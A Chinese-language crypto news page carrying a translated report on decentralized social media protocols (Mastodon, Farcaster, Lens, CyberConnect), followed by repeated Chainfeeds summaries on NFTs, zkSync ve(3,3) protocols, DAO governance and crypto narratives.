    作者：STEVEN SHI 编译：Kxp，Blockbeats 今年早些时候，Twitter 突然关闭了第三方应用程序。几周后，它取消了免费 API 访问，其最便宜的套餐现在每月要价 42,000 美元。 现在，大多数用户已经适应了这个现实。我们最重要的社交媒体应用程序，从 Facebook 和 TikTok 到微信和 Grab，都是中心化平台。尽管这些平台通常很温顺，但它们偶尔会以凸显中心化权威的任性方式行使权力，比如根据模糊的内容政策审查和封禁用户，或者武断地提升某些用户的地位。 这些平台对我们的日常生活至关重要。因此，用户对现状感到沮丧，但没有太多选择。因此，在 Web3 运动中，去中心化社交媒体是一个重点方向。由于 Crypto 行业在 Twitter 上运行，因此建立一个「去中心化 Twitter」对 Web3 创始人来说更有吸引力，因为他们非常清楚 Twitter 的痛点。 本报告探讨了去中心化社交（DeSoc）协议。我们审查了各种 DeSoc 设计，并聚焦于有趣的项目。我们还就每个协议的方法分析了其优缺点，并概述了我们对整个垂直领域的看法。 自成立以来，Twitter 进行了 19 轮融资，筹集了 44 亿美元的资本。当它上市时，它累计亏损了近 10 亿美元。然而，过去五年，产品本身几乎没有改变。 然而，Twitter 仍然非常有价值，其估值至少为数十亿美元。如果今天拍卖，毫无疑问会有大量买家愿意以慷慨的估值对 Twitter 的收入进行出价。 Twitter 和任何社交媒体平台的关键价值主要在于其社交图谱。功能即商品（参见：Clubhouse 的空间，Snapchat 的故事，TikTok/Douyin 的短视频）。但是独特和差异化的社交图谱非常有价值，这是让小众平台在激烈竞争中增长和保持份额的原因（例如：Bilibili，GitHub，LinkedIn，Twitch）。相反，弱社交图谱会使用户感到沮丧，并陷入死亡螺旋（例如：Clubhouse，MySpace，Friendster，Vine，人人网，YY，Digg）。 现有平台很早就已经注意到这一点，并通过锁定用户来捕获价值。因此，大多数用户都受制于现有平台，几乎没有可行的退出选项。 去中心化社交网络承诺将由社交图谱衍生的价值返回给用户。总体论点表明，这种方法消除了寻租行为，并促进产品和功能的更多竞争，最终为用户创造价值。 构建 DeSoc 协议的最明显好处之一保证开放访问。去中心化社交网络应该允许两个用户找到彼此并相互沟通，即使所有其他用户都想要阻止这种沟通。这些网络还应该允许用户发布内容并找到他们想要的内容。 这并不是说不能在其上应用中心化过滤器。我们可以借鉴 Gmail 与去中心化电子邮件协议（SMTP、POP3、IMAP）之间的关系，想象一个强大的去中心化社交网络可能是什么样子。尽管 Gmail 是一个中心化的应用程序，用户可以选择其他客户端或拥有自己的域名，从而在数据、隐私和通信偏好方面拥有更多的控制权。替代成本微不足道。 大多数 DeSoc 协议具有类似的架构。因此，用户真正拥有自己的社交图谱，可以自由退出任何一个应用程序。 去中心化社交协议的开放获取很可能会在基于它们的应用程序之间带来更快速、更显著的创新。这与前面的观点一致——如果用户退出成本很低，应用程序就必须竞争以提供最佳用户体验。 实际上，当 Twitter 的 API 相对开放时，它也有类似的创新周期。许多 Twitter 的发明都起源于外部开发人员。Twitterrific 创造了 Twitter 蓝鸟 logo 和「推文」一词；另一个第三方客户端 Tweetie 创建了下拉刷新手势；而广泛使用的 TweetDeck 最初作为管理多个帐户和发布内容的第三方平台出现。同样，当 Facebook 开放访问之后，它也有过重要的创新周期，让 Zynga、Buzzfeed、Pinterest 等应用程序利用 Facebook 的社交图谱和信息流进行分发。 但是当用户增长接近饱和时，Web2 平台往往从合作转向与其合作伙伴竞争。随着时间的推移，企业家们学会了不在中心化平台上构建，限制了创新。 相反，去中心化社交网络向用户保证访问保持开放和无需许可。在这个保证下，它们更有可能吸引聪明的创始人，建立一个强大的、正和的生态系统。 由于强调去中心化，Crypto 和 DeSoc 协议通常（但不一定）相互关联。例如，社交图谱协议 CyberConnect 和 Lens 中的个人资料存储在 L1 区块链上，而 Farcaster ID 则在 Ethereum 上发行。 与与现有社交媒体平台大相径庭的是，这种与原生数字所有权的联系创造了一个很大的设计空间。Crypto 可以作为一种简单的金融原语，在网络中传输价值。例如，Nostr 集成了 Lightning network，以实现低成本的 Bitcoin 打赏功能。 Crypto 原语还可以增强互动质量。垃圾邮件和机器人困扰着所有的社交媒体平台，但是由于大多数 Crypto 操作都承载着财务权重（即使是微不足道的 Gas 费形式），Crypto 地址的历史记录可以作为一种有效的过滤机制。一些早期的实验包括构建更高质量的 Feed 或基于地址的 NFT 收藏门户社区。 任何平台/网络创始人面临的最明显挑战是激发初始网络效应。网络的价值随着使用它的人数的增加而增加。因此，这表明新网络的价值很小。对于早期用户来说，由于价值较小，吸引和留住他们通常是最大的障碍。即使在获得了一个小众社区之后，将其扩展到主流市场也非常具有挑战性。 这在当今尤为明显。与 Twitter 在几乎没有竞争的情况下获得广泛普及相比，现在的社交媒体平台必须与拥有强大壁垒和大量资本的现有平台竞争。由于用户已经在现有平台上建立了他们的社交网络和地位，因此在完全新的平台上重建社交资本并不太可行。 BitClout 试图通过从 Twitter 上爬取并导入现有的社交图谱到其平台上来解决这个问题。在推出时，BitClout 已预先加载了数千个知名 Twitter 用户的个人资料，包括 Elon Musk、Katy Perry 和 Barack Obama。虽然这次活动作为有效的营销策略，但应用缺乏差异化和有机社区，未能保持用户参与，导致用户流失迅速。 尽管如此，就像最近相对较新的 TikTok 崛起一样，从零开始是可以克服的。因此，找到一个真正提供效用和差异化体验的实际用例将是关键。此外，一些 DeSoc 协议可能不会旨在获得最大的市场份额，而是选择与 Linux 一样，专注于为珍视开源、控制权或隐私权而不是普遍采用的受众提供服务。 大多数 DeSoc 协议使用公钥和私钥给用户所有权。例如：Nostr、Farcaster、Lens 和 CyberConnect。但是，至少目前来看，设置私钥通常比传统的登录方法更令人困惑。 使用私钥也存在挑战。如果用户丢失了私钥，会发生什么？一些协议，如 Farcaster，具有恢复流程，但它们很复杂。其他协议，如 Damus，没有恢复选项。如果没有适当的设计来减轻私钥泄露的影响，用户可能需要完全重建他们的社交图谱。自托管将会是一把双刃剑。 其他障碍包括链上操作需要私钥签名和交易费用，与 Web2 平台相比，这些都是用户体验的重大降级。人们可以轻易地感受到使用抖音等轻松上手的体验与使用下面我们将要介绍的任何一款 DeSoc 应用程序时的压力之间的差异。 随着时间的推移，这些问题都将得到解决。多方计算 (MPC) 和智能合约钱包可以帮助设置社交恢复功能并降低 Gas 成本。但就目前而言，钱包、保管和恢复功能是用户采纳的关键障碍。 由于几乎所有现有社交媒体平台都通过广告支出来变现，通过其他方式生成收入仍然是一个开放性问题。 DeSoc 协议正在尝试使用铸币费（为独特 ID 支付一次性费用）、订阅模型（如支付独特用户名或有权限的中继）和提成模型（在平台上循环资金时收取一定比例）来赚取收入。虽然这些商业模型在理论上有道理，但迄今为止很少有证据表明它们在大规模上是实用的，用户更倾向于免费获取。 · Wen token？DeSoc 协议需要用于去中心化治理的 Token 吗（例如 ENS，Uniswap），还是可以像 Linux，Android 那样保持去中心化而无需 Token？ · DeSoc 协议的开发者们是否应该看到协议的股权类/Token 类上涨？如果他们看到了，那么这会不会产生不良激励？如果他们没有看到，如何充分激励开发者并为他们提供足够的资源来构建和扩展一个能与 Web2 现有平台竞争的平台？ · 相应地，开发者应该如何考虑筹集资本？有些人试图通过拒绝外部资本来最大化可信中立性。另一些人认为，如果没有足够的巨额资金，他们就无法与 Web2 的主导者进行充分竞争。 偶尔，去中心化的社交应用程序将因外部争议或炒作而突然看到大量用户注册。在埃隆·马斯克解雇数千名员工，更改验证政策并任意添加/删除帐户后，Mastodon 社交网络增长了近 5 倍。最近，Damus 突然得到了大量的中国用户，也让它成为了中国所有社交应用程序中排名前 21 的应用。 但是用户往往会非常快地流失并返回现有的平台。（为了公平起见，Damus 被中国国家互联网信息办公室下令从应用商店中移除） 短暂的炒作周期 总的来说，DeSoc 协议和应用程序仍然可以说处于采用曲线的创新者阶段。 在所有指标上，DeSoc 的采用率比现有平台低几个数量级。Mastodon 和 Damus 上的总活跃用户（两个相对流行的 DeSoc 平台）仍然只是 Twitter 月活跃用户（MAU）的一小部分。没有 DeSoc 网络是明显的赢家——团队仍在试验适当的架构，以提供良好的用户体验同时保持去中心化。 我们以下面几个更有趣的项目为重点。我们主要关注协议的高层设计，衡量其优势和挑战，并根据我们的分析提供一些评论。我们将不会在此报告的范围内深入探讨每个协议的技术实现。 Mastodon 在 Twitter 的替代品方面显露头角，特别是在 Twitter 最近的争议之后。 Mastodon 建立在独立托管服务器网络上的实例上。每个实例都由其自己的管理员管理，他们设置其特定社区的规则和政策。管理员可以根据他们的喜好禁止、审查或鼓励内容，尽管我们访问过的许多服务器都力求中立。因此，Mastodon 鼓励用户选择最符合其价值观和偏好的实例或自己托管实例。 Mastodon 使用 ActivityPub，一种用于社交网络的标准化开源协议。它是 Fediverse 或联邦宇宙的一部分，这个术语用于所有可以使用 ActivityPub 协议相互通信的平台。 Mastodon 的开发通过 Patreon 和 OpenCollective 进行集体筹资，没有 VC 参与其中。 · 所有 DeSoc 平台的优点——开源，拥有和控制数据和社交图谱的能力以及自由地从一个客户端退出到另一个客户端。 · 使用 ActivityPub，一种用于社交网络的开放和去中心化协议，它显着提高了互操作性和去中心化化程度。 · 强调社区：许多用户赞赏 Mastodon 的社区驱动性，其中较小的实例培育了更亲密和支持性的环境。 · 实例大多由个人或拥有比 Web2 主导者更少资源的团体运营。大多数服务器由志愿者管理，他们承担运行自己实例的责任。这包括维护成本（例如许可证，硬件，电费）和内容管理风险（例如不良/不需要的内容，侵犯版权，极端主义内容等）。服务器可能存在故障，并且搜索功能相对于 Web2 平台而言功能较弱。不同服务器之间不一致的管理可能会导致令人沮丧的体验。 · 而 Twitter 就像一个「大锅炖」，包含各种不同的兴趣，主题和语言，Mastodon 的服务器架构往往会将主题垂直化。这可能会导致用户群的分化，减少使用案例并减少偶然发现的机会。 · 入门难度大：Twitter 对于新用户来说已经很令人生畏了。Mastodon 让入门流程变得更加复杂，需要在不同的服务器上查找和关注用户，这可能会增加用户负担。 · Mastodon 不直接整合来自 Crypto/区块链的功能或技术。任何这样的集成都将是建立在 Mastodon 之上的第三方开发。 · 不同的变现方式：一些服务器完全由志愿者运营，并要求捐赠以维护服务器，而其他服务器则运行广告。 Mastodon 的理念和设计目标是令人钦佩的。它给用户提供了创建、策划和选择自己的社交网络体验的选择。由于它的开源和社区驱动的开发，它可能会成为去中心化社交媒体的重要组成部分，长期存在。 然而，几个障碍可能会阻止它达到主流。通过服务器的分化来分割用户群体会降低它实现网络效应和更广泛应用的能力。例如，尽管突发新闻往往首先在 Twitter 上传播，但很难看到类似的事情在 Mastodon 上发生。此外，目前的用户体验不佳，这可能解释了从 Twitter 事件中涌入新用户后用户保留率较低。 尽管如此，对于寻求拥有共同兴趣的亲密社区的用户来说，Mastodon 是一个强有力的替代选择。在未来，开发者可能会继续在 Mastodon 上建立，创造具有无缝导航和改进用户体验的第三方应用程序。 Farcaster 是建立在 Ethereum 之上的足够去中心化的社交网络。Farcaster 团队创造了「足够去中心化」的术语，它是指即使整个网络都想阻止两个用户找到彼此并进行通信，它们仍然可以找到彼此进行通信。 尽管 Farcaster 在其技术堆栈的一部分上利用了 Ethereum，但它并没有在区块链上托管整个社交网络。相反，Farcaster ID 在 Ethereum 上注册，而其社交图谱和内容则托管在称为 Hubs 的节点网络上。这些 Hubs 确保网络的一致性，因为它们复制所有数据和签名的消息。Farcaster 协议还会修剪消息，使 Hubs 变得轻量化，提高了协议的去中心化程度。 Farcaster 架构 Farcaster 在应用和客户端层面上推动竞争。团队认为，优秀的应用应该从这种架构中演进出来。由于用户分布发生在协议层面，具有杀手级功能的应用理论上应该能够利用协议的基础分布来获取市场份额。这就像 Clubhouse 在推出时利用 Twitter/Instagram 用户的社交图谱。 Farcaster 目前仅限邀请注册，总用户数约为 11,000 人。Farcaster 协议由 Merkle Manufactory 开发，该公司去年夏天在由 a16z 领导的一轮融资中筹集了 3000 万美元。Merkle Manufactory 同时正在 Farcaster 之上构建一个名为 Warpcast 的移动/桌面客户端。 · 由 Merkle 开发协议和第一个客户端应用程序，可以测试和发布新功能，与 Web2 竞争对手的速度相似。在过去几个月中，Warpcast 已经实现了显著的改进，包括推出桌面客户端、QR 登录、应用商店中的移动应用程序等。 · 即使在早期阶段，Warpcast 的入门体验也非常熟悉 Twitter 用户。 · 值得信赖的 ID 和账户恢复的周到设计 --ID：虽然主要命名空间是完全去中心的，但是可以管理第二个命名空间。因此，如果你在 Farcaster 上注册，没有人可以从你那里夺 走你的唯一 ID（例如 @918392），但如果你虚假注册了 @jeffbezos 的句柄，第二个命名空间可以选择将其夺走。 --恢复：内置恢复系统，以防私钥丢失/被攻击，具有 7 天的时间窗口，防止恶意接管账户。 · 由于 Farcaster 的 ID 存在于 Ethereum L1 上，因此在客户端中更容易集成其他 Crypto 元素。例如，Warpcast 将 NFT 身份验证和可发现性纳入其客户端中。 在 Warpcast 上发现 NFT · Merkle 必须证明其随着时间的推移具有可信的中立性，因为迄今为止，协议和事实上的客户端都由中心化团队开发。VC 的支持可能会阻碍可信的中立性的声明。 · 相应地，由于 Merkle 拥有先发优势并且第一个了解新的协议发展，其默认客户端可能会排挤第三方客户端。 · 赚钱方式可能是通过为唯一的 Farcaster 名称（例如 @elonmusk）支付费用，尽管这还没有实施，也没有确定。 · GTM 似乎在策划一个以西方为导向的技术社区，包括从事 Web2、Web3、VC 等的人员。 我们的看法： Farcaster 目前更加中心化的结构使其能够更好地回应用户反馈、快速迭代和实现产品市场适配。其架构设计得很好，应该可以轻松扩展以容纳数百万用户。此外，Merkle 的 VC 支持为 Farcaster 的增长提供了财务和网络资源。 我们对团队能够将用户群体扩大到当前用户群体以外持乐观态度。针对技术爱好者的初期市场策略很聪明，因为这些用户通常是新平台的早期采用者，更有可能为开放源代码协议做出贡献。已经有一个充满活力的开发者社区，有各种应用程序利用 Farcaster 的社交图谱。类似于 Instagram 和 Vine 在十年前为 Twitter Feed 创造的动态，也可以在 Farcaster 的生态系统中类似地发挥作用。 我们主要关注 Farcaster 随着时间的推移如何逐步去中心化。这只能通过时间来解决，因为 Farcaster 团队展示他们可以慢慢放手，让开发者更容易地运行 Hubs，并允许第三方开发者在平等竞争的基础上与 Warpcast 竞争。 Lens Protocol 由 Aave 团队开发，是基于 Polygon 的智能合约社交网络平台。几乎所有重要的社交互动都被记录在链上。用户的个人资料和关注者由 NFT 表示。镜像和收藏（类似于转推和收藏夹）也是链上的操作，会创建 NFT。内容本身存储在链下以节省 Gas 成本，只有在被收藏时才成为 NFT。该平台的设计具有模块化特点，允许开发者通过模块创建新功能。 与 Farcaster 类似，Lens 旨在成为中立的基础层，并鼓励应用/客户端层面的竞争。 Lens 去年曾从 FTX Ventures 获得外部资本。 · Lens 通过 Crypto 技术提供独特而创新的功能。例如，Collect 模块允许创作者直接向关注者销售其帖子。艺术家可以创建「罕见的收藏品」，使关注者在有限的时间内收藏他们的艺术品。关注者还可以镜像这些帖子并获得推荐费用。由于所有这些操作都发生在区块链上，余额会立即借记和贷记，没有中间人。 · 与 Farcaster 不同，Lens 可以「搭便车」其他已经验证 Polygon 区块链的节点。因此，Lens 与 Polygon 网络本身一样去中心化和无需许可。 · 模块化的架构允许其他人创建新的社交基本原则。 创作者利用收集模块实现艺术品变现的例子 · 由于许多用户操作是 Polygon 智能合约上的读/写操作，所以延迟和吞吐量可能成为问题，尤其是当区块链正在经历高使用率或网络不稳定时。 · 不明确的 GTM：当前用户似乎是由 Crypto 原住民、创作者、开发人员和实际上是空投农民的人组成的。因此，共同兴趣的重叠可能较小，这可能会降低用户参与度。这得到了相对较低的 DAU/MAU 比率的支持。 · 垃圾邮件，主要来自 Sybil 和空投农民，使解析信号和噪声变得困难。 · 据报道，除非 Lens 团队成员之一镜像/重新共享帖子，否则帖子不太可能获得关注。 · 使用第三方协议 XMTP 构建直接消息的安全、Crypto 通道和 Lit 协议来创建带门禁的出版物。 Lens 是最具创新性和令人兴奋的 DeSoc 协议之一。它提供了 Web2 或其他 Web3 平台上看不到的功能和工具，展示了 Crypto 启用的社交网络可以为创作者和粉丝解锁什么。理想情况下，这些特性将启动一个强大的飞轮，使创作者开始使用 Lens 与其粉丝建立更直接的关系，吸引用户使用平台，吸引更多的创作者等。我们还喜欢 Lens 的模块化架构，为新的社交基本原则创建了广阔的设计空间。 诚然，该平台仍有改进的空间。建立在 Lens 上的流行应用程序缺乏精细的用户体验，鉴于其当前的架构，我们对 Lens 的可扩展性也有一些担忧。但这些问题都可以逐步解决。我们期待看到第三方开发人员在 Lens 上构建的应用程序。 表面上看，CyberConnect 与 Lens Protocol 非常相似。两者都是利用广义区块链上智能合约的去中心化社交网络。与 Lens 一样，CyberConnect 为配置文件、关注者和内容发行 NFT。创作者可以通过 NFT 或令牌门控部分社区进行货币化。同样，两者都建有模块化架构，使开发人员可以根据自己的需要开发和重复使用模块。 但是，CyberConnect 使用了多个区块链和分布式网络的组合，包括 Ethereum、Polygon、BNB Chain、IPFS 和 Arweave。CyberConnect 还将用户操作缓存和批处理，然后将其上传到像 Arweave 这样的去中心化存储中，以提高可扩展性，同时保持数据完整性和抗审查性。 CyberConnect 通过其最初和多样化的用例和社交图谱策展，使其与众不同。其他协议如 Farcaster 和 Lens 的第一个用例通常是「去中心化的 Twitter」。相反，CyberConnect 提供了各种其他产品和功能： · ccProfile：面向个人/集体的链上身份标准，包括链上操作。 · Link3：类似于 Linktree 和 Eventbrite，Link3 帮助 Web3 用户找到其他配置文件，并发现/参加活动，利用 ccProfiles 和 CyberConnect 的社交图谱。 · W3ST（Web3 状态 Token）：更通用的出勤证明概念，涵盖背书、角色、证书和参与。 · FanClub：一个忠诚度和社区游戏，识别并奖励用户对公司和 DAO 的贡献，类似于 Galxe 和 Crew3。 · 帖子：发布工具类似于 Mirror.xyz（去中心化的 Substack），将内容永久存储在链上，并允许粉丝收集帖子。 CyberConnect 还有一个繁荣的 dApps 生态系统，涵盖超出 Twitter 功能的多种用例。它最近的黑客马拉松「#Connected2023」特别增强了其生态系统。 在 CyberConnect 的生态系统中选择项目 CyberConnect 在 2022 年 5 月获得了 1500 万美元的 A 轮融资，由 Animoca Brands 和 Sky9 Capital 共同领导 [免责声明：Amber Group 也参与了 CyberConnect 的 A 轮融资]。 · 无需签署最小的私钥，无缝的用户体验。 · 多链支持和专有数据索引器增强了可扩展性、灵活性和社交图谱连接。根据我们与其他开发人员的谈话，这也改善了开发人员的体验。 · 社交图谱可能更丰富，包括个人、集体、活动和各种链上交互。 · 面向 Web2 用户的各种产品：Link3 LinkTree、帖子 Substack、活动 Eventbrite、Phaver Twitter、Huddle01 Zoom 等。 · 模块化架构允许其他人创建新的社交原语。 · CyberConnect 使用中心化的中继器来提高可扩展性。尽管目前尚未公布计划，但未来可能会去中心化。 · Cyberconnect 的一些早期功能（如活动、状态 Token、FanClub）属于较低参与度的产品。 · 与 Lens 类似，由于大部分是 Sybil 和空投挖矿等垃圾活动，很难从噪音中解析出信号。 · 由于最初的 GTM 是活动和 FanClubs 等用例，以及其他超出 Twitter 范畴的用例，CyberConnect 的社交图表平均质量与 Farcaster 或 Lens 有所不同。 · 通过利用更多的用例，而不仅仅是针对 Crypto 原生社区，CyberConnect 也有望吸引更多的大众用户进入 Web3。 · 与众多 Web3 组织搭配使用的强大 B2B 入门，拥有众多 Link3 档案。 · 自今年 2 月以来，从配置文件铸造费中获得 278E 和 401BNB（约合 603,000 美元）。 CyberConnect 在建立截然不同的社交图表和提供 Web2 中常见的广泛应用方面表现出色。它最初的 GTM 针对 Crypto 原生和 Crypto 相邻社区，有助于增强立即采用率。它有可能成为 Crypto 行业的去中心化社交媒体和内容一站式购物中心，取代 Linktree、Medium、Eventbrite 和其他 Crypto 用户/公司今天使用的 Web2 工具。 但是，不同用例的所有实验的有效性还有待观察。如果去中心化的社交平台要获得强大的采用率和高参与度，需要有一个驱动增长的杀手级功能。 尽管如此，CyberConnect 团队继续提供时尚和创新的产品。我们期待着该团队和其他开发人员将在协议之上构建哪些新的内容。 去中心化的社交协议和平台在追求主流采用方面面临着艰巨的挑战。创始人们的成功背后，是成千上万个类似的失败尝试。 然而，我们仍然充满希望。去中心化的社交网络有独特的机会，可以引入全新的社交原语，并将社交图谱的价值归还给用户。 社交媒体正处于变革的边缘。虽然我们仍处于早期阶段，但在重新塑造我们在网上如何连接、分享和互动的方式方面，可能性是真正无限的，开启了通向一个更加光明、包容和有力的数字景观的大门。  ( 8 min )

  • Open

    频频联手 B 站、Line Friends 等大 IP，Azuki 能否破解 NFT 增长困局？
    Chainfeeds 导读： 近期，NFT 市场负面消息多于正面。不过，Azuki 在二级市场的表现似乎不受这些利空消息影响，地板价、交易量似乎都在逆流而上，交易量及活跃度多次超越 BAYC。ChainCatcher 作者西柚针对 Azuki 最近的市场活动，分析 NFT 增长困局。 文章来源： https://www.chaincatcher.com/article/2091654 文章作者： 链捕手 观点： 链捕手：Azuki 宣布其开发商 Chiru Labs 已与韩国知名 IP 公司 Line Friends 母公司 IPX 建立战略合作伙伴关系，共同打造 Beanz NFT IP。受此消息影响，根据 NFTGO 显示，当日 Beanz NFT 24 小时内交易量暴涨 512.5%，地板价突破 1.54 ETH，最高曾冲至 1.78ETH，涨幅超过 10%；Azuki NFT 交易量激增 350%，地板价来到 14.7ETH。 内容来源 链捕手：目前，由于加密市场的熊市，NFT 市场热度已经降至冰点。Moonbird、CoolCat、Doodles 等蓝筹项目的地板价不断下挫，虽然在放出利好消息时有过短暂回升，但仍然无法扭转下跌局势。此外，之前大张旗鼓宣布支持 NFT 或元宇宙发展的知名实体企业也开始缩减相关业务预算，当泡沫褪去，用户也更关注 NFT 本身的价值及资源赋能方式。在 NFT 市场发展停滞的情况下，NFT 项目想要保住蓝筹的位置就需要想办法自救，如发行代币或新 NFT。 内容来源  ( 4 min )
    频频联手 B 站、Line Friends 等大 IP，Azuki 能否破解 NFT 增长困局？
    Chainfeeds 导读： 近期，NFT 市场负面消息多于正面。不过，Azuki 在二级市场的表现似乎不受这些利空消息影响，地板价、交易量似乎都在逆流而上，交易量及活跃度多次超越 BAYC。ChainCatcher 作者西柚针对 Azuki 最近的市场活动，分析 NFT 增长困局。 文章来源： https://www.chaincatcher.com/article/2091654 文章作者： 链捕手 观点： 链捕手：Azuki 宣布其开发商 Chiru Labs 已与韩国知名 IP 公司 Line Friends 母公司 IPX 建立战略合作伙伴关系，共同打造 Beanz NFT IP。受此消息影响，根据 NFTGO 显示，当日 Beanz NFT 24 小时内交易量暴涨 512.5%，地板价突破 1.54 ETH，最高曾冲至 1.78ETH，涨幅超过 10%；Azuki NFT 交易量激增 350%，地板价来到 14.7ETH。 内容来源 链捕手：目前，由于加密市场的熊市，NFT 市场热度已经降至冰点。Moonbird、CoolCat、Doodles 等蓝筹项目的地板价不断下挫，虽然在放出利好消息时有过短暂回升，但仍然无法扭转下跌局势。此外，之前大张旗鼓宣布支持 NFT 或元宇宙发展的知名实体企业也开始缩减相关业务预算，当泡沫褪去，用户也更关注 NFT 本身的价值及资源赋能方式。在 NFT 市场发展停滞的情况下，NFT 项目想要保住蓝筹的位置就需要想办法自救，如发行代币或新 NFT。 内容来源  ( 4 min )
    【英文长推】解析 zkSync 上 ve（3,3）协议的评估指标：清晰的代币经济学、声誉良好的合作伙伴、审计…
    Chainfeeds 导读： 成为 zkSync 顶级 ve（3,3）协议的竞争非常激烈。加密货币 KOL neo pups 盘点了即将推出的 zkSync ve（3,3）协议以及用来评估它们的基准指标。 文章来源： https://twitter.com/orderflowog/status/1649871644939124736 文章作者： neo pups 观点： neo pups：1）清晰的代币经济学：该项目应透明地公布其供应量、发行时间表、重新平衡模型和费用结构。寻找模拟模型或有充分支持的论文，以了解他们的重建模型和排放时间表，或证明它以前是有效的。2）声誉良好的合作伙伴：寻找强大而合法的合作方案。项目拥有越多合作伙伴，就越可能成为强大流动性层和首选 ve（3,3）。【原文为英文】 内容来源 neo pups：3）审计：许多协议正在使用现有代码库，因此它们依赖于分叉协议的审计报告。需要确保如果代码已被修改，则该项目已从知名公司获得了审计报告，或者在 IDO 或协议启动之前计划这样做。4）团队：团队应该对 ve（3,3）充满热情并精通相关知识。虽然 KYC 在 DeFi 中不是常规，但当项目公开、私下向安全公司或其合作伙伴透露信息时，这总是一种信心的体现。【原文为英文】 内容来源 neo pups：5）代币锁定：团队、风险投资、内部人员和社区锁定是否有助于协议的长期可持续性？是否有足够的激励来实现最大化锁定？6）独特销售点：哪些功能使该协议与其他协议不同？它是否与协议相辅相成？它是否增强了 ve（3,3）飞轮效应？【原文为英文】 内容来源  ( 2 min )
    【英文长推】解析 zkSync 上 ve（3,3）协议的评估指标：清晰的代币经济学、声誉良好的合作伙伴、审计…
    Chainfeeds 导读： 成为 zkSync 顶级 ve（3,3）协议的竞争非常激烈。加密货币 KOL neo pups 盘点了即将推出的 zkSync ve（3,3）协议以及用来评估它们的基准指标。 文章来源： https://twitter.com/orderflowog/status/1649871644939124736 文章作者： neo pups 观点： neo pups：1）清晰的代币经济学：该项目应透明地公布其供应量、发行时间表、重新平衡模型和费用结构。寻找模拟模型或有充分支持的论文，以了解他们的重建模型和排放时间表，或证明它以前是有效的。2）声誉良好的合作伙伴：寻找强大而合法的合作方案。项目拥有越多合作伙伴，就越可能成为强大流动性层和首选 ve（3,3）。【原文为英文】 内容来源 neo pups：3）审计：许多协议正在使用现有代码库，因此它们依赖于分叉协议的审计报告。需要确保如果代码已被修改，则该项目已从知名公司获得了审计报告，或者在 IDO 或协议启动之前计划这样做。4）团队：团队应该对 ve（3,3）充满热情并精通相关知识。虽然 KYC 在 DeFi 中不是常规，但当项目公开、私下向安全公司或其合作伙伴透露信息时，这总是一种信心的体现。【原文为英文】 内容来源 neo pups：5）代币锁定：团队、风险投资、内部人员和社区锁定是否有助于协议的长期可持续性？是否有足够的激励来实现最大化锁定？6）独特销售点：哪些功能使该协议与其他协议不同？它是否与协议相辅相成？它是否增强了 ve（3,3）飞轮效应？【原文为英文】 内容来源  ( 2 min )
    【英文长推】三个 DAO 治理协议的核心建议
    Chainfeeds 导读： 加密货币 KOL Winter Soldier 研究了涉及 DeFi、Web3 和基础设施的 150 个 DAO，并以 Curve 和 Convex 为例对 DAO 治理提出了 3 个核心性的见解。 文章来源： https://twitter.com/wintersoldierxz/status/1649797724076937217 文章作者： Winter Soldier 观点： Winter Soldier：根据研究表明，在 DAO 中实现 3 个关键治理实践的协议将会有更好的资产价格表现。1）较小代币持有者拥有更大的投票权。一种普遍的误解认为，Curve 的低参与度分散是由于 Convex 持有 CRV 流通供应量的约 50%。与常见看法相反，投票权在协议、DAO 和鲸鱼之间得到了很好地分散。平等治理权利本质上也强调了向 VC 进行大型代币配置可能存在潜在风险，他们在 DeFi 协议中会偏向于投资者利益而不是真正符合社区利益。【原文为英文】 内容来源 Winter Soldier：2）最佳和公平的法定人数门槛。Curve 在包容性和安全性方面取得了完美的平衡：所有权提案：30% 法定人数门槛，51% 支持率。参数提案：15% 法定人数门槛，51% 支持率。【原文为英文】 内容来源 Winter Soldier：3）促进去中心化框架内包容性和加强安全性的治理条款。就包容性而言，vlCRV 和 vlCVX 持有者无任何限制地参与指导 Curve 的排放。就安全而言， Curve Finance 设有紧急 DAO，在特殊情况下具有权限来终止池子和仪表盘。【原文为英文】 内容来源  ( 2 min )
    【英文长推】三个 DAO 治理协议的核心建议
    Chainfeeds 导读： 加密货币 KOL Winter Soldier 研究了涉及 DeFi、Web3 和基础设施的 150 个 DAO，并以 Curve 和 Convex 为例对 DAO 治理提出了 3 个核心性的见解。 文章来源： https://twitter.com/wintersoldierxz/status/1649797724076937217 文章作者： Winter Soldier 观点： Winter Soldier：根据研究表明，在 DAO 中实现 3 个关键治理实践的协议将会有更好的资产价格表现。1）较小代币持有者拥有更大的投票权。一种普遍的误解认为，Curve 的低参与度分散是由于 Convex 持有 CRV 流通供应量的约 50%。与常见看法相反，投票权在协议、DAO 和鲸鱼之间得到了很好地分散。平等治理权利本质上也强调了向 VC 进行大型代币配置可能存在潜在风险，他们在 DeFi 协议中会偏向于投资者利益而不是真正符合社区利益。【原文为英文】 内容来源 Winter Soldier：2）最佳和公平的法定人数门槛。Curve 在包容性和安全性方面取得了完美的平衡：所有权提案：30% 法定人数门槛，51% 支持率。参数提案：15% 法定人数门槛，51% 支持率。【原文为英文】 内容来源 Winter Soldier：3）促进去中心化框架内包容性和加强安全性的治理条款。就包容性而言，vlCRV 和 vlCVX 持有者无任何限制地参与指导 Curve 的排放。就安全而言， Curve Finance 设有紧急 DAO，在特殊情况下具有权限来终止池子和仪表盘。【原文为英文】 内容来源  ( 2 min )
    除了 Layer2，今年还有那些加密叙事？
    Chainfeeds 导读： 从历史来看，持续的加密货币牛市不仅仅是由 BTC 和 ETH 坊的上涨推动，也会由某些板块带动，例如 2020-2021 年的 DeFi/NFT 爆发热潮。白泽研究院作者陀螺 Tech 盘点了显示出进入主流市场的强烈迹象的板块。 文章来源： https://mp.weixin.qq.com/s/7YO1n6fr4BlQoszYq6YpCw 文章作者： 白泽研究院 观点： 白泽研究院：1）流动性质押衍生品（LSD）。数据显示，Lido 以太坊质押数量于 2022 年 9 月突破 400 万枚 ETH，2023 年 4 月突破 600 万枚 ETH，这意味着过去半年时间里质押量已增长超 50%。以太坊升级之后，随着 ETH 存款数量的增加，LSD 收入将会上涨。2）NFT-Fi。尽管 NFT 价格今年初仅小幅上涨，Nansen 的蓝筹 10 指数仅上涨了 8.5%，但这种 NFT-Fi 推动的流动性和杠杆增加应该会在长期内带来回报，因为这将导致资产类别市场结构成熟。随着用户对 JPEG 和游戏等替代用例的兴趣增加，NFT-Fi 应该会继续增长。 内容来源 白泽研究院：3）永续 DEX。尽管中心化交易所仍占据主导地位，但永续合约 DEX 在市场反弹时已经实现了显著增长。4）加密游戏。游戏 Token 表现优异，超过 ETH。游戏行业有许多积极的催化剂，如 Arbitrum Token 发行、Immutable 宣布 zkEVM、RON 